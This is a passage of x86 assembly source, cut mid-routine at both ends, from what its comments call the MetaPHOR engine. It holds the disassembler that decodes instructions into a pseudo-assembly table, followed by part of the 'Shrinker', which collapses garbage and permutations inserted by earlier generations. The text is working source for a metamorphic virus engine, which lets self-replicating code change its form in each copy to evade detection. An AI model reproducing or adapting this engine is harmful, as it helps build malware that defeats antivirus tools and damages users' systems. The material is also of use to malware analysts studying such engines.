                mov     eax, [esi+1]  ; Get the 2nd opcode
                and     eax, 0C0h
                cmp     eax, 0C0h     ; Memory address or register?
                jz    @@MOVMem32_RegValue  ; Jump if it's register
                mov     edx, esi
                add     edx, 1        ; Decode the memory address
                call    DecodeMemoryConstruction
                add     esi, ebx      ; Add the operand length
                add     esi, 1
                mov     eax, [esi]    ; Get the Imm to move
                mov     [edi+7], eax  ; Set it in the disassembly
                add     esi, 4        ; Increase the EIP
                jmp   @@NextInstruction
      @@MOVMem32_RegValue:
                mov     eax, 40h      ; 40h = MOV Reg32,Imm32
                mov     [edi], eax    ; Set the pseudoopcode
                mov     eax, [esi+1]
                and     eax, 7
                mov     [edi+1], eax  ; Get the register and set it
                mov     eax, [esi+2]  ; Get the immediate value and set it
                mov     [edi+7], eax
                add     esi, 6        ; Add the instruction length to the EIP
                jmp   @@NextInstruction

;;;; Some not very common instructions
;; Opcodes F6 and F7 are used for TEST, NOT, NEG, MUL, IMUL, DIV and IDIV.
;; Since MUL and up aren't used by us, we only decode TEST, NOT and NEG.
    @@SomeNotVeryCommon8:
                mov     eax, [esi+1]  ; Get the operation
                and     eax, 38h
                or      eax, eax      ; 0 is TEST
                jz    @@TEST8Value
                shr     eax, 1        ; If it's not TEST, it is NOT or NEG
                add     eax, 0DAh     ; EAX = E2/E6
    @@SNVC_Gen: mov     [edi], eax    ; Set the opcode
                mov     eax, [esi+1]  ; Check if we use register or memory
                and     eax, 0C0h
                cmp     eax, 0C0h
                jz    @@NOTNEGReg8    ; If register, jump
                mov     eax, [edi]    ; Set memory usage
                add     eax, 1
                mov     [edi], eax
                mov     edx, esi      ; Decode the memory address operand
                add     edx, 1
                call    DecodeMemoryConstruction
                add     esi, ebx      ; Add the length of the operand
                add     esi, 1
                jmp   @@NextInstruction
    @@NOTNEGReg8:
                mov     eax, [esi+1]  ; Get the register involved
                and     eax, 7
                mov     edx, [edi+1]
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi+1], eax  ; Set it
                add     esi, 2        ; Increase the EIP
                jmp   @@NextInstruction

    @@SomeNotVeryCommon32:
                mov     eax, [esi+1]  ; Get the operation
                and     eax, 38h
                or      eax, eax      ; If it's TEST, jump to disasm it
                jz    @@TEST32Value
                shr     eax, 1
                add     eax, 0D8h     ; E0/E4
                jmp   @@SNVC_Gen      ; Jump to decode the rest of the instr.

    @@TEST8Value:
                mov     eax, 0C8h     ; Set TEST 8 bits opcode
                mov     [edi], eax
                jmp   @@Gen8Value     ; Jump to decode the rest

    @@TEST32Value:
                mov     eax, 48h      ; Set TEST 32 bits opcope
                mov     [edi], eax
                jmp   @@Gen32Value    ; Jump to decode the rest

;;;; INC Mem, DEC Mem, CALL Mem, JMP Mem & PUSH Mem disassembly

    @@INCDECMem8:
                mov     eax, [esi+1]  ; Get the operation
                and     eax, 38h
                or      eax, eax      ; INC?
                jz    @@INCMem8       ; Then, jump
    @@DECMem8:  mov     eax, 0ACh     ; ACh = Opcode of SUB Mem8,Imm8
      @@INCDECMem8_Next:
                mov     [edi], eax    ; Set the opcode
                mov     eax, [esi+1]  ; Get the type of operand
                and     eax, 0C0h
                cmp     eax, 0C0h     ; If we use a register operand, jump
                jz    @@INCDECReg8
      @@INCDECPUSH_Gen:
                mov     edx, esi      ; Here if we use INC/DEC/PUSH Mem
                add     edx, 1        ; Decode the memory operand
                call    DecodeMemoryConstruction
                add     esi, ebx
                add     esi, 1
                mov     eax, 1        ; We insert a 1 as a Imm even if it's
                mov     [edi+7], eax  ; PUSH, JMP or CALL, since we will
                                      ; ignore this field for them
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 0EBh     ; Did we decode JMP DWORD PTR [xxx]?
                jnz   @@NextInstruction  ; Then, get a new EIP (treat it as
                                         ; a RET)
                add     edi, 10h      ; Increase the storadge EIP and get a
                jmp   @@GetEIPFromFutureLabelList ; new disassembly EIP (ESI)
    @@INCDECReg8:
                mov     eax, [edi]    ; Get the opcode
                sub     eax, 4        ; Convert it to OP Reg
                mov     [edi], eax
                mov     eax, [esi+1]  ; Get the register
                and     eax, 7
                mov     [edi+1], eax  ; Set it in the instruction
                mov     eax, 1        ; Set "1" value for addition and
                mov     [edi+7], eax  ; subtraction
                add     esi, 2
                jmp   @@NextInstruction
    @@INCMem8:  mov     eax, 84h      ; Set ADD Mem8,Imm8
                jmp   @@INCDECMem8_Next

;; Opcode FF: INC Mem, DEC Mem, CALL Mem, JMP Mem and PUSH Mem (32 bits)

    @@INCDECPUSHMem32:
                mov     eax, [esi+1]  ; Get the operand type
                and     eax, 38h
                or      eax, eax      ; INC?
                jz    @@INCMem32
                cmp     eax, 08h      ; DEC?
                jz    @@DECMem32
                cmp     eax, 10h      ; CALL?
                jz    @@CALLMem32
                cmp     eax, 20h      ; JMP?
                jz    @@JMPMem32
       @@PUSHMem32:
                mov     eax, [esi+1]  ; Decode PUSH. Look if it uses a reg.
                and     eax, 0C0h     ; or a memory address
                cmp     eax, 0C0h
                jz    @@PUSHMem32_Reg
                mov     eax, 51h      ; EAX = 51h, pseudoopcode of PUSH Mem
                mov     [edi], eax
                jmp   @@INCDECPUSH_Gen
       @@PUSHMem32_Reg:
                mov     eax, 50h      ; 50h = Opcode of PUSH Reg
       @@INCDECPUSH_GenMem32_Reg:
                mov     [edi], eax    ; Set the opcode
                mov     eax, [esi+1]  ; Get the operand register
                and     eax, 7
                mov     [edi+1], eax
                mov     eax, 1        ; Set "1" as immediate value (for INCs
                mov     [edi+7], eax  ; and DECs, and ignored for the others)
                add     esi, 2
                mov     eax, [edi]    ; Get the opcopde
                and     eax, 0FFh
                cmp     eax, 0EDh     ; Did we decode JMP Reg?
                jnz   @@NextInstruction
                add     edi, 10h      ; If so, treat it as a RET
                jmp   @@GetEIPFromFutureLabelList

       ;; Here if we decoded INC
       @@INCMem32:
                mov     eax, [esi+1]  ; Get the opcode
                and     eax, 0C0h     ; Check if it uses a register or a
                cmp     eax, 0C0h     ; memory address as operand
                jz    @@INCReg32
                mov     eax, 4        ; If Mem, set ADD Mem,Imm
                jmp   @@INCDECMem8_Next
       @@INCReg32:
                xor     eax, eax      ; If Reg, set ADD Reg,Imm
                jmp   @@INCDECPUSH_GenMem32_Reg

       ;; Here if we decoded DEC
       @@DECMem32:
                mov     eax, [esi+1]  ; Get if it uses a memory address or
                and     eax, 0C0h     ; a register
                cmp     eax, 0C0h
                jz    @@DECReg32
                mov     eax, 2Ch      ; Set SUB Mem,Imm
                jmp   @@INCDECMem8_Next
       @@DECReg32:
                mov     eax, 28h      ; Set SUB Reg,Imm
                jmp   @@INCDECPUSH_GenMem32_Reg

       ;; Here if we decoded CALL Mem (or CALL Reg)
       @@CALLMem32:
                mov     eax, [esi+1]
                and     eax, 0C0h     ; Get the type of operand
                cmp     eax, 0C0h
                jz    @@CALLMem32_Reg
                mov     eax, 0EAh     ; Set CALL Mem
                mov     [edi], eax
                jmp   @@INCDECPUSH_Gen
       @@CALLMem32_Reg:
                mov     eax, 0ECh     ; Normally APIs
                jmp   @@INCDECPUSH_GenMem32_Reg
       @@JMPMem32:
                mov     eax, [esi+1]
                and     eax, 0C0h
                cmp     eax, 0C0h
                jz    @@JMPMem32_Reg
                mov     eax, 0EBh    ; Normally to simulate RET, so treat it
                mov     [edi], eax   ; as a RET (after decoding)
                jmp   @@INCDECPUSH_Gen
       @@JMPMem32_Reg:
                mov     eax, 0EDh    ; Treat it also as a RET (coz it's a jump
                jmp   @@INCDECPUSH_GenMem32_Reg ; with undefined destiny)

     @@NextInstruction:
                add     edi, 10h     ; Increase storadge EIP
                jmp   @@ContinueDisassembly


;;;; Interrupt. Only used for Linux' INT 80h

     @@Interrupt:
                mov     eax, [esi+1]
                and     eax, 0FFh
                cmp     eax, 80h
                jnz   @@IgnoreInterrupt
                mov     eax, 0FDh
                mov     [edi], eax
                add     esi, 2
                jmp   @@NextInstruction
     @@IgnoreInterrupt:
                add     esi, 2
                jmp   @@ContinueDisassembly


;;;; RET disassembly

     @@RET:     mov     eax, 0FEh   ; Insert the opcode
                mov     [edi], eax
                inc     esi
                add     edi, 10h    ; Increase the storing EIP and get a new
                jmp   @@GetEIPFromFutureLabelList ; EIP for ESI. If there
                                                  ; aren't more, finish.

;;;; JMP SHORT

     @@JMP8:    mov     eax, [esi+1] ; Get the displacement
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@JMP8_01
                add     eax, 0FFFFFF00h
          @@JMP8_01:
                add     eax, 2       ; Add the length of the instruction to
                add     eax, esi     ; the read EIP
                jmp   @@JMP_Next01

;;;; JMP LONG
     @@JMP:     mov     eax, [esi+1] ; Get the displacement
                add     eax, 5
                add     eax, esi

;; The jump is stored as 0E9h,dd IndexOnLabelTable. By this way, if we change
;; the offset of the label, we only have to update the address at the table,
;; and all the references are automatically updated.
     @@JMP_Next01:
                mov     ebx, [ebp+InstructionTable]
                cmp     ebx, edi
                jz    @@NoInstructions
           @@FindDestinyInTable:
                cmp     [ebx+0Ch], eax  ; Check with the pointer to the real
                jz    @@SetLabel        ; instruction, and set label if we
                                        ; found it.
                add     ebx, 10h
                cmp     ebx, edi
                jnz   @@FindDestinyInTable
       @@NoInstructions:
                mov     ecx, 0FFh       ; Set a NOP if we didn't disassembled
                mov     [edi], ecx      ; yet the instruction. So, change the
                add     edi, 10h        ; read EIP (at ESI) directly without
                mov     esi, eax        ; inserting the jump. In this way,
                jmp   @@LoopTrace       ; the disassembling is automatically
                                        ; eliminating the permutations.
       @@SetLabel:
                mov     ecx, 0E9h       ; Set JMP pseudoopcode
                mov     [edi], ecx
                mov     edx, esi        ; Set the new pointer
                mov     [edi+0Ch], edx
                add     edi, 10h
                push    eax
                mov     eax, [esi]      ; Get the instruction
                and     eax, 0FFh
                mov     ecx, eax
                pop     eax
                cmp     ecx, 0EBh       ; Check if it's a short JMP
                jz    @@Add2ToEIP       ; If it is, increase the EIP only by 2
                add     esi, 3
        @@Add2ToEIP:
                add     esi, 2

                call    InsertLabel     ; Insert the label

                mov     [edi+1-10h], edx ; Set the label in the instruction

;; When we arrive here we scan for a label that isn't disassembled yet, We
;; check if we disassembled the pointing code while we didn't arrive here.
;; If the code is already disassembled, we set the label and we check other
;; pointers until we found one that it isn't scanned. If all them are alredy
;; disassembled, we finish because all the reachable code is disassembled.
   @@GetEIPFromFutureLabelList:
                mov     ecx, [ebp+NumberOfLabelsPost]
                or      ecx, ecx        ; If there aren't labels, exit
                jz    @@FinDeTraduccion
                mov     ebx, [ebp+FutureLabelTable]
       @@LoopCheckForNewEIP:
                mov     eax, [ebx]      ; Get a label
                or      eax, eax        ; Is it empty?
                jnz   @@GetNewEIP       ; If not, we found one
                add     ebx, 8          ; Check next
                sub     ecx, 1
                or      ecx, ecx        ; Have we scanned all them?
                jnz   @@LoopCheckForNewEIP
                jmp   @@FinDeTraduccion ; If so, exit from disassembler

       @@GetNewEIP:
                mov     esi, [ebx]
                jmp   @@LoopTrace


;;; Instructions beginning with 0F
     @@Opcode0F:
                mov     eax, [esi+1]  ; Get the second opcode
                and     eax, 0FFh
                cmp     eax, 80h      ; Long Jcc?
                jb    @@Op0F_Next00
                cmp     eax, 8Fh
                jbe   @@Jcc32         ; If so, jump
       @@Op0F_Next00:
                cmp     eax, 0B6h     ; MOVZX?
                jz    @@Op0F_MOVZX
;                 cmp     eax, 0BEh
;                 jz    @@Op0F_MOVSX

                add     esi, 2        ; Add two to the EIP and continue
                jmp   @@SigueInstr

;; I decided to make MOVSX instruction using direct checking and
;; sign extension, because this instruction have little variation when
;; recoding (or it is too much long). Anyway, I left the code (commented)
;; because maybe I decide to put it again, to disassemble whatever code I
;; want to pass to this routine, for example (and not only a semi-controlled
;; code as the engine is).
       @@Op0F_MOVZX:
                mov     eax, 0F8h     ; Set the pseudoopcode F8
;                 jmp   @@Op0F_MOVxX
;        @@Op0F_MOVSX:
;                 mov     eax, 0FAh
;        @@Op0F_MOVxX:
                mov     [edi], eax
                mov     eax, [esi+2]  ; Get the destiny register
                and     eax, 38h
                shr     eax, 3
                mov     [edi+7], eax  ; Set it in the instruction
;                 mov     eax, [esi+2]
;                 and     eax, 0C0h
;                 cmp     eax, 0C0h
;                 jz    @@Op0F_MOVxX_RegReg8
;                 mov     eax, [edi]
;                 add     eax, 1
;                 mov     [edi], al
                mov     edx, esi      ; Decode the referenced memory address
                add     edx, 2
                call    DecodeMemoryConstruction
                add     esi, ebx
                add     esi, 2
                jmp   @@NextInstruction
;        @@Op0F_MOVxX_RegReg8:
;                 mov     eax, [esi+2]
;                 and     eax, 7
;                 mov     [edi+1], eax
;                 add     esi, 3
;                 jmp   @@NextInstruction


;; For the translation of Jcc (both 8 bits and 32 bits) and CALLs:
;;
;;  - If the code exists, translate the destiny address of the point into a
;;   label in the label table, and complete the instruction with that label.
;;   If the label already exists, use the already existent label, of course.
;;
;;  - If the code doesn't exist, we put a reference to this instruction in
;;   the "future label table", together with a reference to the code it's
;;   trying to access. Later, when that referenced code is disassembled,
;;   the instruction (Jcc, CALL, etc.) will be completed.

;;; Conditional 32-bit jump (Jx, JNx)
     @@Jcc32:   mov     eax, [esi+2]  ; Get the destiny address in EAX
                add     eax, esi
                add     eax, 6
                jmp   @@ContinueWithBranchInstr

;;; CALL
     @@CALL:    mov     eax, [esi+1]  ; Get the destiny address in EAX
                add     eax, esi
                add     eax, 5
                jmp   @@ContinueWithBranchInstr


;;; Conditional 8-bits jump (Jx, JNx)

     @@Jcc:     mov     eax, [esi+1] ; Get the destiny address in EAX
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@Jcc_01
                add     eax, 0FFFFFF00h
          @@Jcc_01:
                add     eax, esi
                add     eax, 2

     @@ContinueWithBranchInstr:
                mov     ecx, eax              ; Put the destiny addr. in ECX
                call    SetInFutureLabelList  ; Mark the label and get the
                push    eax                   ; label table entry in EAX
                mov     eax, [esi]
                and     eax, 0FFh    ; Get the opcode
                cmp     eax, 0Fh     ; 0F? (i.e. long Jcc)
                jz    @@Jcc_Jcc32

                ;mov     [edi], al
                cmp     eax, 0E8h    ; CALL?
                jz    @@Jcc_AddEIP5  ; Then add 5 to EIP. If not, add 2.
                jmp   @@Jcc_AddEIP2

   @@Jcc_Jcc32:
                mov     eax, [esi+1] ; Get the conditional jump
                and     eax, 0FFh
                sub     eax, 10h     ; Transform it to pseudoopcode

    @@Jcc_AddEIP6:
                inc     esi
    @@Jcc_AddEIP5:
                add     esi, 3
    @@Jcc_AddEIP2:
                add     esi, 2       ; Increase the EIP
                mov     edx, [edi]   ; Set the pseudoopcode in EAX
                and     edx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, edx
                mov     [edi], eax

                pop     eax
                or      eax, eax     ; Restore the label table entry pointer.
                jz    @@NextInstruction ; If it's 0, is because it wasn't
                                        ; scanned, so go for next instruction.

                call    InsertLabel  ; Insert the label if the EIP was already
                mov     [edi+1], edx ; disassembled, and insert it in the
                jmp   @@NextInstruction ; instruction, completing it.

     @@FinDeTraduccion:   ; Return!
                ret
DisasmCode      endp


;; This function is constructed to save lines of code, because this same
;; method was called from several points.
GenOp_SetRegReg proc
                push    edx
                mov     edx, [edi]
                and     edx, 0FFFFFF00h
                mov     eax, [esi]  ; Get the opcode
                and     eax, 0FFh
                cmp     eax, 3Fh    ; Check the instruction. If it's <= 3F,
                jbe   @@SRR_01      ; set the same opcode + 1
                cmp     eax, 85h    ; TEST?
                jbe   @@SRR_02
;                cmp     eax, 87h    ; XCHG?
;                jbe   @@SRR_03
                cmp     eax, 8Bh    ; MOV?
                jbe   @@SRR_04
     @@SRR_01:  and     eax, 38h    ; Set the OP Reg,Reg
                add     eax, 1
     @@SRR_Store:
                add     eax, edx
                mov     [edi], eax  ; Store the opcode
                pop     edx
                ret                 ; Return
     @@SRR_02:  mov     eax, 48h+1  ; Pseudoopcode of TEST Reg,Reg
                jmp   @@SRR_Store
 ;    @@SRR_03:  mov     eax, 48h+5
 ;               jmp   @@SRR_Store
     @@SRR_04:  mov     eax, 40h+1  ; Pseudoopcode of MOV Reg,Reg
                jmp   @@SRR_Store
GenOp_SetRegReg endp

;; Function to insert a label from a Jcc or a CALL to future disassembly. If
;; the label is already disassembled, it returns EAX != 0, being EAX the
;; code referenced. If it's not disassembled, we store the label in the table
;; and we'll check for it everytime a leaf of the execution tree is finished.

SetInFutureLabelList proc
                mov     ebx, [ebp+InstructionTable] ; Get the instructions
                cmp     ebx, edi         ; Are we at the end already?
                jz    @@SetFutureLabel   ; If so, we didn't find that, so
      @@LoopCheckLabelForJcc:            ;  insert the label.
                cmp     [ebx+0Ch], eax
                jz    @@Jcc_CodeDefined  ; If the code is disassembled, return
                add     ebx, 10h
                cmp     ebx, edi         ; Get next instruction
                jnz   @@LoopCheckLabelForJcc
      @@SetFutureLabel:                  ; We didn't find it!
                mov     edx, [ebp+NumberOfLabelsPost]
                shl     edx, 3
                add     edx, [ebp+FutureLabelTable]
                mov     [edx], eax       ; Store the instruction and the
                mov     [edx+4], edi     ;  referenced destiny address.
                mov     eax, [ebp+NumberOfLabelsPost]
                add     eax, 1                        ; Increase the number
                mov     [ebp+NumberOfLabelsPost], eax ; of labels.
                xor     eax, eax               ; Return 0
      @@Jcc_CodeDefined:
                ret
SetInFutureLabelList endp

;; Function InsertLabel
;; Simply inserts the address passed into the definitive label list.
;;
;; Params:
;; EAX = Destination address of jump (or call, etc.)
;; EBX = Instruction in list (dissasembled) where EAX points to
;; Returns:
;;     ECX undefined
;;     EDX = Address in the list where the label has been stored (formerly
;;           the type of label we'll use in the instructions).
InsertLabel     proc
                mov     edx, [ebp+LabelTable]  ; Get the table
                mov     ecx, [ebp+NumberOfLabels]
                or      ecx, ecx               ; Check if there's any
                jz    @@Jcc_InsertaEtiqueta    ; If not, insert at first pos.
      @@Jcc_LoopEtiqueta:
                cmp     [edx], eax            ; Check if it exists already
                jz    @@Jcc_EtiquetaYaPuesta  ; If it exists, return the ptr
                add     edx, 8
                dec     ecx                   ; Check next
                or      ecx, ecx
                jnz   @@Jcc_LoopEtiqueta
      @@Jcc_InsertaEtiqueta:            ; We didn't find the address, so let's
                mov     [edx], eax      ; insert the new label and return the
                mov     [edx+4], ebx    ; pointer
                push    eax
                mov     eax, [ebx+0Bh]  ; Set the label mark in the instruction
                and     eax, 0FFFFFF00h ; we are referencing
                add     eax, 1
                mov     [ebx+0Bh], eax
                mov     eax, [ebp+NumberOfLabels] ; Increase the counter of
                add     eax, 1                    ; labels stored in the table
                mov     [ebp+NumberOfLabels], eax
                pop     eax             ; Return the label pointer address
      @@Jcc_EtiquetaYaPuesta:
                ret
InsertLabel     endp

;; This function scans the "future labels table" and looks if every entry in
;; the table is pointing to the current EIP. If it is, it inserts a label in
;; the "definitive label table", completes the referenced instruction and
;; continues the check until all the temporary labels that points to that code
;; are released.
ReleaseFutureLabels proc
                mov     ecx, [ebp+NumberOfLabelsPost] ; Check the number
                or      ecx, ecx
                jz    @@SigueInstr                    ; If it's 0, return
                mov     ebx, [ebp+FutureLabelTable]
      @@LoopCheckFutureLabel:
                cmp     [ebx], esi        ; Check if the current EIP is in the
                jz    @@FutureLabelFound  ; table. If it is, release it.
      @@OtraEtiquetaFutura:
                add     ebx, 8        ; Get the next
                dec     ecx
                or      ecx, ecx      ; If there are more, loop
                jnz   @@LoopCheckFutureLabel
      @@SigueInstr:
                ret
      @@FutureLabelFound:
                push    ecx

                push    ebx           ; Insert a label into the current EIP
                mov     eax, esi
                mov     ebx, edi
                call    InsertLabel
                pop     ebx           ; Returns EDX = label entry

                mov     eax, [ebx+4]  ; Get the address of the instruction to
                mov     [eax+1], edx  ; complete and complete it.
                xor     ecx, ecx
                mov     [ebx], ecx    ; Eliminate the buffered label
                pop     ecx
                jmp   @@OtraEtiquetaFutura ; Jump to get another
ReleaseFutureLabels endp

;; This function decodes a memory reference in an opcode which is pointed by
;; EDX. Since the struct we use for memory codifications is common for all
;; the instructions of the pseudoassembler, the decodification of the memory
;; reference opcodes and fields are equal for all them.
;;
;; EDX = Address to get opcodes from.
;; We must ensure that it's a memory construction.
;; Returns EBX = Length of the memory reference opcodes (opcodes and addition)
DecodeMemoryConstruction proc
                mov     eax, 00000808h ; Initialize the memory structure
                mov     [edi+1], eax
                xor     eax, eax
                mov     [edi+3], eax
                mov     ebx, 1         ; Set a length of 1 (at least this
                                       ; opcode)

                mov     eax, [edx]     ; Get the opcode
                and     eax, 7         ; Special opcode?
                cmp     eax, 4
                jz    @@ThirdOpcodeUsed ; If so, a third opcode is used
                cmp     eax, 5         ; Direct memory address?
                jz    @@DirectMemory   ; Jump, then

      @@SetBaseRegister:
                mov     eax, [edx]     ; Get the base index
                and     eax, 7
                push    edx
                mov     edx, [edi+1]   ; Set it
                and     edx, 0FFFFFF00h
                add     eax, edx
                pop     edx
                mov     [edi+1], eax
                mov     eax, [edx]     ; Get the type of addition:
                and     eax, 0C0h
                or      eax, eax       ; No addition?
                jz    @@NoAddition
                cmp     eax, 40h       ; Byte (with sign extension)?
                jz    @@ByteAddition
      @@DwordAddition:
                add     ebx, 4         ; Set dword addition (length of 4)
                mov     eax, [edx+1]   ; Get the addition and set it in the
                jmp   @@SetAddition    ;  pseudoassembler instruction
      @@ByteAddition:
                add     ebx, 1         ; Set a byte addition (length of 1)
                mov     eax, [edx+1]   ; Get the addition
                and     eax, 0FFh      ; Extend the sign
                cmp     eax, 7Fh
                jbe   @@SetAddition
                add     eax, 0FFFFFF00h
      @@SetAddition:
                mov     [edi+3], eax   ; Set the addition value in the instr.
      @@NoAddition:
                ret                    ; Return

      @@DirectMemory:
                mov     eax, [edx]     ; Get the DWORD of the address
                and     eax, 0C0h
                or      eax, eax        ; Check if it's EBP
                jnz   @@SetBaseRegister ; If it's EBP, jump to decode it
                jmp   @@DwordAddition   ; If not, set the addition as a direct
                                        ; memory address

      ;; Here if we use a third opcode
      @@ThirdOpcodeUsed:
                add     ebx, 1          ; Add one more byte to the length
                mov     eax, [edx+1]    ; Get the third opcode
                and     eax, 38h        ; Check the middle index
                shr     eax, 3
                cmp     eax, 4          ; If it's ESP then we use only one
                jz    @@IgnoreScalarRegister
                mov     ecx, eax        ; Get the multiplicator (or scalar)
                mov     eax, [edx+1]    ; from the bits 7&6 of the third
                and     eax, 0C0h       ; opcode, and after that set the
                or      eax, ecx        ; register into the pseudoassembler
                push    edx             ; instruction
                mov     edx, [edi+2]
                and     edx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, edx
                pop     edx
                mov     [edi+2], eax
      @@IgnoreScalarRegister:
                mov     eax, [edx]      ; Get the second opcode
                and     eax, 0C0h       ; Are we adding something?
                or      eax, eax        ; If we don't, EBP in the low bits of
                jz    @@EBPMeansDwordAddition ; the third opcode means DWORD
                mov     eax, [edx+1]                              ; addition
                and     eax, 7          ; Get the low index at 3rd
                push    edx
                mov     edx, [edi+1]    ; Set the index at first position
                and     edx, 0FFFFFF00h ; in the memory struct
                add     eax, edx
                pop     edx
                mov     [edi+1], eax
                mov     eax, [edx]      ; Get the addition from the 2nd opcode
                and     eax, 0C0h
                cmp     eax, 40h
                jz    @@ByteAddition2   ; Byte addition (sign extended)?
      @@DwordAddition2:
                add     ebx, 4          ; Add the DWORD addition length, get
                mov     eax, [edx+2]    ; the addition DWORD and jump.
                jmp   @@SetAddition2
      @@ByteAddition2:
                add     ebx, 1          ; Set BYTE addition length, get the
                mov     eax, [edx+2]    ; addition BYTE, extend the sign of
                and     eax, 0FFh       ; it and store it
                cmp     eax, 7Fh
                jbe   @@SetAddition2
                add     eax, 0FFFFFF00h
      @@SetAddition2:
                mov     [edi+3], eax    ; Store the addition and return
                ret

      @@EBPMeansDwordAddition:
                mov     eax, [edx+1]    ; Get the low register at 3rd opcode
                and     eax, 7
                cmp     eax, 5          ; Check if it's EBP
                jz    @@DwordAddition2  ; If it isn't, jump to decode only the
                push    edx             ; addition (EBP is a special case in
                mov     edx, [edi+1]    ; this case)
                and     edx, 0FFFFFF00h
                add     eax, edx        ; If not, set the index register at
                pop     edx             ; the first slot of the index position
                mov     [edi+1], eax    ; in the memory reference structure
                ret                     ; and return.
DecodeMemoryConstruction endp
;;
;;
;; End of the disassembler
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!Shrinker
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; *********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The Shrinker
;; ------------
;;
;; Required parameters:
;; [InstructionTable] = Pointer to first instruction in instruction table
;; [AddressOfLastInstruction] = The limit of the disassembly
;;
;; This function will eliminate all the obfuscation done by the expander in
;; previous generations. The compression is made by single instructions, pairs
;; or triplets. The work is performed in the pseudo-ASM the disassembler
;; generated, so the modifications are easier.
;;
;; The single, pairs and triplets scanned are the following (extracted from
;; the article I wrote about this engine):
;;
;; ---------------------------------------------------------------------------
;;
;;  Legend:
;;  Reg: A register
;;  Mem: A memory address
;;  Imm: Immediate
;;
;;  When in an instruction is Reg,Reg or something like that, both are the
;;  same register. If they are different, I write it as Reg,Reg2 (for example).
;;
;;  Transformations over single instructions:
;;
;;   XOR Reg,-1               --> NOT Reg
;;   XOR Mem,-1               --> NOT Mem
;;   MOV Reg,Reg              --> NOP
;;   SUB Reg,Imm              --> ADD Reg,-Imm
;;   SUB Mem,Imm              --> ADD Mem,-Imm
;;   XOR Reg,0                --> MOV Reg,0
;;   XOR Mem,0                --> MOV Mem,0
;;   ADD Reg,0                --> NOP
;;   ADD Mem,0                --> NOP
;;   OR  Reg,0                --> NOP
;;   OR  Mem,0                --> NOP
;;   AND Reg,-1               --> NOP
;;   AND Mem,-1               --> NOP
;;   AND Reg,0                --> MOV Reg,0
;;   AND Mem,0                --> MOV Mem,0
;;   XOR Reg,Reg              --> MOV Reg,0
;;   SUB Reg,Reg              --> MOV Reg,0
;;   OR  Reg,Reg              --> CMP Reg,0
;;   AND Reg,Reg              --> CMP Reg,0
;;   TEST Reg,Reg             --> CMP Reg,0
;;   LEA Reg,[Imm]            --> MOV Reg,Imm
;;   LEA Reg,[Reg+Imm]        --> ADD Reg,Imm
;;   LEA Reg,[Reg2]           --> MOV Reg,Reg2
;;   LEA Reg,[Reg+Reg2]       --> ADD Reg,Reg2
;;   LEA Reg,[Reg2+Reg2+xxx]  --> LEA Reg,[2*Reg2+xxx]
;;   MOV Reg,Reg              --> NOP
;;   MOV Mem,Mem              --> NOP (result of a compression of
;;                                     PUSH Mem/POP Mem, with pseudoopcode 4F)
;;
;; The instructions that are eliminated (the ones that mean NOP) are be used
;; as garbage along the executable code. Since every NOP instruction can be
;; expanded (for example, MOV Reg,Reg can be set as PUSH Reg/POP Reg, and every
;; PUSH and POP also can be expanded, and so on) you can't know what's garbage
;; and what's not until you have compressed everything.
;;
;; The pairs of instructions that MetaPHOR can compress are:
;;
;;   PUSH Imm / POP Reg                      --> MOV Reg,Imm
;;   PUSH Imm / POP Mem                      --> MOV Mem,Imm
;;   PUSH Reg / POP Reg2                     --> MOV Reg2,Reg
;;   PUSH Reg / POP Mem                      --> MOV Mem,Reg
;;   PUSH Mem / POP Reg                      --> MOV Reg,Mem
;;   PUSH Mem / POP Mem2                     --> MOV Mem2,Mem (codificated
;;                                                with pseudoopcode 4F)
;;   MOV Mem,Reg/PUSH Mem                    --> PUSH Reg
;;   POP Mem / MOV Reg,Mem                   --> POP Reg
;;   POP Mem2 / MOV Mem,Mem2                 --> POP Mem
;;   MOV Mem,Reg / MOV Reg2,Mem              --> MOV Reg2,Reg
;;   MOV Mem,Imm / PUSH Mem                  --> PUSH Imm
;;   MOV Mem,Imm / OP Reg,Mem                --> OP Reg,Imm
;;   MOV Reg,Imm / ADD Reg,Reg2              --> LEA Reg,[Reg2+Imm]
;;   MOV Reg,Reg2 / ADD Reg,Imm              --> LEA Reg,[Reg2+Imm]
;;   MOV Reg,Reg2 / ADD Reg,Reg3             --> LEA Reg,[Reg2+Reg3]
;;   ADD Reg,Imm / ADD Reg,Reg2              --> LEA Reg,[Reg+Reg2+Imm]
;;   ADD Reg,Reg2 / ADD Reg,Imm              --> LEA Reg,[Reg+Reg2+Imm]
;;   OP Reg,Imm / OP Reg,Imm2                --> OP Reg,(Imm OP Imm2)
;;                                                (must be calculated)
;;   OP Mem,Imm / OP Mem,Imm2                --> OP Mem,(Imm OP Imm2)
;;                                                (must be calculated)
;;   LEA Reg,[Reg2+Imm] / ADD Reg,Reg3       --> LEA Reg,[Reg2+Reg3+Imm]
;;   LEA Reg,[(RegX+)Reg2+Imm] / ADD Reg,Reg2 -> LEA Reg,[(RegX+)2*Reg2+Imm]
;;   POP Mem / PUSH Mem                      --> NOP
;;   MOV Mem2,Mem / MOV Mem3,Mem2            --> MOV Mem3,Mem
;;   MOV Mem2,Mem / OP Reg,Mem2              --> OP Reg,Mem
;;   MOV Mem2,Mem / MOV Mem2,xxx             --> MOV Mem2,xxx
;;   MOV Mem,Reg / CALL Mem                  --> CALL Reg
;;   MOV Mem,Reg / JMP Mem                   --> JMP Reg
;;   MOV Mem2,Mem / CALL Mem2                --> CALL Mem
;;   MOV Mem2,Mem / JMP Mem2                 --> JMP Mem
;;   MOV Mem,Reg / MOV Mem2,Mem              --> MOV Mem2,Reg
;;   OP Reg,xxx / MOV Reg,yyy                --> MOV Reg,yyy
;;   Jcc @xxx / !Jcc @xxx                    --> JMP @xxx (this applies to
